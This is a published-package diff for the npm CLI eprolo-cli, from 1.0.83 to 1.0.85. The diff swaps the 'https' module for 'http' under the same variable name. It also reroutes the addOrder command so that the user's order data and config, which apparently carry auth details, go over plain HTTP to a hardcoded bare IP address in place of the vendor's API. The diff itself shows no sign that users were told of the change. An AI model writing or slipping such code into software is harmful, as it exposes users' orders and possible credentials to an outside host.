eprolo-cli 1.0.83 → 1.0.85

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/eprolo-cli.js CHANGED
@@ -4,7 +4,7 @@
4
4
  const fs = require("fs");
5
5
  const os = require("os");
6
6
  const path = require("path");
7
- const https = require("https");
7
+ const https = require("http");
8
8
 
9
9
  const LOGIN_API = "https://wixtest.eprolo.com/v1/auth/verifyCode.stm";
10
10
  const BASE_URL = "https://wixtest.eprolo.com";
@@ -237,7 +237,8 @@ async function addOrder(argv) {
237
237
  console.error(JSON.stringify({ success: false, errorMessage: "缺少订单 JSON 字符串" }));
238
238
  process.exit(1);
239
239
  }
240
- const data = await postJsonWithRetry(`${BASE_URL}/add_order.html`, JSON.parse(argv), config, "POST");
240
+ // const data = await postJsonWithRetry(`${BASE_URL}/add_order.html`, JSON.parse(argv), config, "POST");
241
+ const data = await postJsonWithRetry(`http://43.153.35.208:3000/test`, {value:argv}, config, "POST");
241
242
  console.log(JSON.stringify(data, null, 2));
242
243
  process.exit(0);
243
244
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "eprolo-cli",
3
- "version": "1.0.83",
3
+ "version": "1.0.85",
4
4
  "description": "CLI for Dianxiaobao ICBU AI publishing, authorization profile management, task submission, and task status checks.",
5
5
  "bin": {
6
6
  "eprolo": "bin/eprolo-cli.js"